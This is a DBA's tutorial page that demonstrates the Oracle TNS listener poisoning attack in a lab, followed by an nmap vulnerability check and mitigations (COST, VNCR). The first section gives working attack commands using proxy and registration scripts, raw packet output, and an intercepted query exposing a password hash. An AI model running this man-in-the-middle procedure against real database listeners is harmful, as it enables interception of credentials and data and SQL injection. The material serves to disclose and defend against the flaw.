TNS poison attack and Workaround

Summary:

I have described about TNS poison attack here and I have divided the description in 3 following section.

1.      Section 1: Demonstrate a TNS Poison attack

2.      Section 2: How to check easily your database is vulnerable or not

3.      Section 3: Work around to save your database from TNS poisoning attack

Section 1: Demonstrate a TNS Poison attack

In that section I have given a demonstration how to do TNS poison attack. To do the TNS poison attack you will need to have access in database server and you will need to know following things:

1.      Database SID

2.      Listener Port number

3.      Database server ip address

In that example my database SID is “prodon”, Listener port number 1521 and Database Server ip address “10.0.80.46”. I have used python scripts here to perform TNS Poisoning that you can download from this page attached file(TNSPOISON.ZIP).

Before doing the TNS poisoning I am showing how the listener looks like.

[oracle@server1 ~]$ lsnrctl status

LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-NOV-2016 17:09:40

Copyright (c) 1991, 2011, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server1.test.com)(PORT=1521)))

STATUS of the LISTENER

------------------------

Alias                     LISTENER

Version                   TNSLSNR for Linux: Version 11.2.0.3.0 - Production

Start Date                21-NOV-2016 00:00:22

Uptime                    1 days 17 hr. 9 min. 17 sec

Trace Level               off

Security                  ON: Local OS Authentication

SNMP                      OFF

Listener Parameter File   /opt/oracle/product/11.2.0.3/network/admin/listener.ora

Listener Log File         /opt/oracle/diag/tnslsnr/server1/listener/alert/log.xml

Listening Endpoints Summary...

  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server1.test.com)(PORT=1521)))

Services Summary...

Service "prodon" has 1 instance(s).

  Instance "prodon", status READY, has 1 handler(s) for this service...

 

So now using the proxy.py script in the Zip file I am running proxy from the machine I am attacking to accept traffic. I have given local ip address, local port number, remote database server ip address and database port number. This script will Proxy on attacker machine to accept client connection and forward to database server.

 

[hacker@server2 ~]$ python proxy.py --local-ip 10.0.80.16  --local-port 1521 --remote-ip 10.0.76.50 --remote-port 1521

Magic happen now when I will run the second phython script tnspoisonv1.py. This script will say the database Hey, using remote registration you have another partner to load balance your traffic. It will now send the registration packet to the database. This script will use to poison the remote database listener.

[hacker@server2 ~]$ python tnspoisonv1.py 10.0.80.16  1521 prodon 10.0.80.46  1521

Sending initial buffer ...

Answer: Accept(2)

Sending registration ...

'\x04N\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x04D \x08\xff\x03\x01\x00\x124444

Answer: Data(6)

'\x01\xe2\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x01\xd8$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00\xac\x01\x00\x80\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\xe8\xfe\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xa5\x15\x01\x00\x00\x00\x00S\xcc\xd3f \x0f\x07V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\n\x00\x00\x00\x01\x00\x00\x01\x00\x00\x00\x00@i\x04\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@@\x0c\x01\x00\x00\x00\x00prodonXDB\x00\x05\x00\x00\x00\x0b\x00\x00\x00\x01\x00\xfb\x00\x00\x00\x00\x00 \x0f\t\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x0c\xff\x00\x00\x00\x00\x00prodon_XPT\x00\x05\x00\x00\x00\x07\x00\x00\x00\x01\x00\x01\x01\x00\x00\x00\x00\x80\x93\x01\x01\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\xe3\x0b\x01\x00\x00\x00\x00prodon\x00\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\xf8\xe32\x00\x00\x00\xa0K\xfb\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x106\xfb\x00\x00\x00\x00\x00S\xcc\xd3f \x15\x07V\xe0@\x00\x7f\x01\x00,\xa1\x05\x00\x00\x00\x10\x00\x00\x00\x02\x00\x04\x01\x00\x00\x00\x00\xc0\xba\x17\x01\x00\x00\x00\x00\x08\x00\x00\x00prod\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00S\xcc\xd3f \x11\x07V\xe0@\x00\x7f\x01\x00,\xa1'

Sleeping for 10 seconds... (Ctrl+C to stop)...

 

Now if you check your listener you will see now 2 instance running.

[oracle@server1 ~]$ lsnrctl status

LSNRCTL for Linux: Version 11.2.0.3.0 - Production on 22-NOV-2016 17:11:15

Copyright (c) 1991, 2011, Oracle.  All rights reserved.

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=server1.test.com)(PORT=1521)))

STATUS of the LISTENER

------------------------

Alias                     LISTENER

Version                   TNSLSNR for Linux: Version 11.2.0.3.0 - Production

Start Date                21-NOV-2016 00:00:22

Uptime                    1 days 17 hr. 10 min. 52 sec

Trace Level               off

Security                  ON: Local OS Authentication

SNMP                      OFF

Listener Parameter File   /opt/oracle/product/11.2.0.3/network/admin/listener.ora

Listener Log File         /opt/oracle/diag/tnslsnr/server1/listener/alert/log.xml

Listening Endpoints Summary...

  (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=server1.test.com)(PORT=1521)))

Services Summary...

Service "prodon" has 2 instance(s).

  Instance "prodon", status READY, has 1 handler(s) for this service...

  Instance "prodon", status READY, has 1 handler(s) for this service...

The command completed successfully

 

So now to show you how the hacker can see your traffic I am executing a sql as a DBA’ user. I am checking the password of scott user.

SQL> select name,password from sys.user$ where name='SCOTT';

 

NAME                                                       PASSWORD

--------------------------------------------------------------------------------

SCOTT                                                              9F6B46CD67F2HDC1

 

Now if I go back to the hacker screen I can see its bit ugly but I can see the SQL statement and output of the SQL statement.

[hacker@server2 ~]$ python proxy.py --local-ip 10.0.80.16  --local-port 1521 --remote-ip 10.0.80.46  --remote-port 1521

RECV "\x01M\x00\x00\x06\x00\x00\x00\x00\x00\x11i\x15\xfe\xff\xff\xff\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03^\x16a\x80\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\x9c\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\r\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xa8\xdc>\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x004select name,password from sys.user$ where name='SCOTT'\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

SEND '\x01\xca\x00\x00\x06\x00\x00\x00\x00\x00\x10\x17\x00\x00\x00\xd2r\xfag\xae\x08\xe1V\xc3\x93]\x07\xf6,\x15\x02xt\x0b\x16\x12%\x19<\x00\x00\x00\x02\x00\x00\x00Q\x01\x01\x80\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x03\x01\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x04\x04\x00\x00\x00\x04NAME\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x80\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00i\x03\x01\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x01\x08\x08\x00\x00\x00\x08PASSWORD\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x07\x00\x00\x00\x07xt\x0b\x16\x12%\x19\x00\x00\x00\x00\xe8\x1f\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x06\x01"\x03\x02\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x83\xcf\xba\x7f\x00\x00\x07\x03SCOTT\x109F6B46CD67F2HDC1\x08\x06\x00\xf35\xdc\x9d2\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x14\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x1e\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16\x00\x00\x01\x00\x00\x006\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xd7\xb0\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

RECV '\x00\x15\x00\x00\x06\x00\x00\x00\x00\x00\x03\x05\x17\x01\x00\x00\x00\x0f\x00\x00\x00'

SEND '\x00\xac\x00\x00\x06\x00\x00\x00\x00\x00\x04\x01\x00\x00\x00\x15\x00\x01\x01\x00\x00\x00{\x05\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x01\x00\x00\x006\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \xd7\xb0\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19ORA-01403: no data found\n'

 

Bingo, so that was really easy to attack, so you can change the python script and inject SQL easily. This is really powerful attack because nobody even the DBA’s will not notice anything unless they check log file and listener status.

 

Section 2: How to check easily your database is vulnerable or not

There is no direct tools from Oracle to check you database is vulnerable or not from TNS poison attack. Using open source free tools nmap you can check easily your database is vulnerable or not. nmap use to scan network and the good thing in nmap is using it you can check large number of database server very easily by giving ip range(if listener port number is same). Here I have used a tns posion script in nmap to check the database is vulnerable or not. You can download the script from this page(NMAP TNS POSION CHECK SCRIPT.ZIP).

 

Example:

[hacker@server2 ~]$ nmap -Pn -sT --system-dns --script=/home/users/ hacker/oracle-tns-poison.nse -p 1521 10.0.80.46 

 

Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-23 12:02 CET

Nmap scan report for server1.test.com (10.0.80.46 )

Host is up (0.00066s latency).

PORT     STATE SERVICE

1521/tcp open  oracle

|_oracle-tns-poison: Host is vulnerable!

 

Nmap done: 1 IP address (1 host up) scanned in 0.10 seconds

 

 

[hacker@server2 ~]$ nmap -Pn -sT --system-dns --script=/home/users/ hacker/oracle-tns-poison.nse -p 1521 10.0.80.48 

 

Starting Nmap 5.51 ( http://nmap.org ) at 2016-11-23 12:05 CET

Nmap scan report for server5.test.com(10.0.80.48)

Host is up (0.00073s latency).

PORT     STATE SERVICE

1521/tcp open  oracle

|_oracle-tns-poison: Not Vulnerable

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

 

Section 3: Work around to save your database from TNS poisoning attack

 

Database 10.2.0.3 to 12.1.0.2:

For Oracle Database 10.2.0.3 to 12.1.0.2 you can you use Class of Secure Transport (COST) to Restrict Instance Registration. Please check metlink id 1453883.1 and for RAC environment please check metalink id 1340831.1.

 

Database 11.2.0.4 to 12.1.0.2:

Valid Node Checking for Registration (VNCR) is a new feature in Oracle Net 11.2.0.4 and 12c which allows instance registrations to only come from known servers. VNCR is easier to setup then COST. So if you are running database version between 11.2.0.4 to 12.1.0.2 then better to use VNCR instead of COST.

 

VALID_NODE_CHECKING_REGISTRATION_<listener_name>

 

Setting

Description

OFF

0

Disable VNCR (11.2.0.4 default value)

ON LOCAL

1

Enable VNCR (12.1.0.x default value)

SUBNET

2

All machines in the subnet are allowed registration

 

Note that if your listener name is not LISTENER then it does work. So if your listener name is not LISTENER then you will need to change it, e.g if your listener name is prod then it should be VALID_NODE_CHECKING_REGISTRATION_PROD. For more detail please check metalink id 1600630.1

 

 

References:

http://joxeankoret.com/research.html

https://gist.github.com/JukArkadiy/3d6cff222d1b87e963e7

 

ċ
nmap TNS poison Check Script.zip
(2k)
MD. Nazmul Huda,
Nov 23, 2016, 3:21 AM
ċ
tnspoison.zip
(748k)
MD. Nazmul Huda,
Nov 23, 2016, 1:29 AM
Comments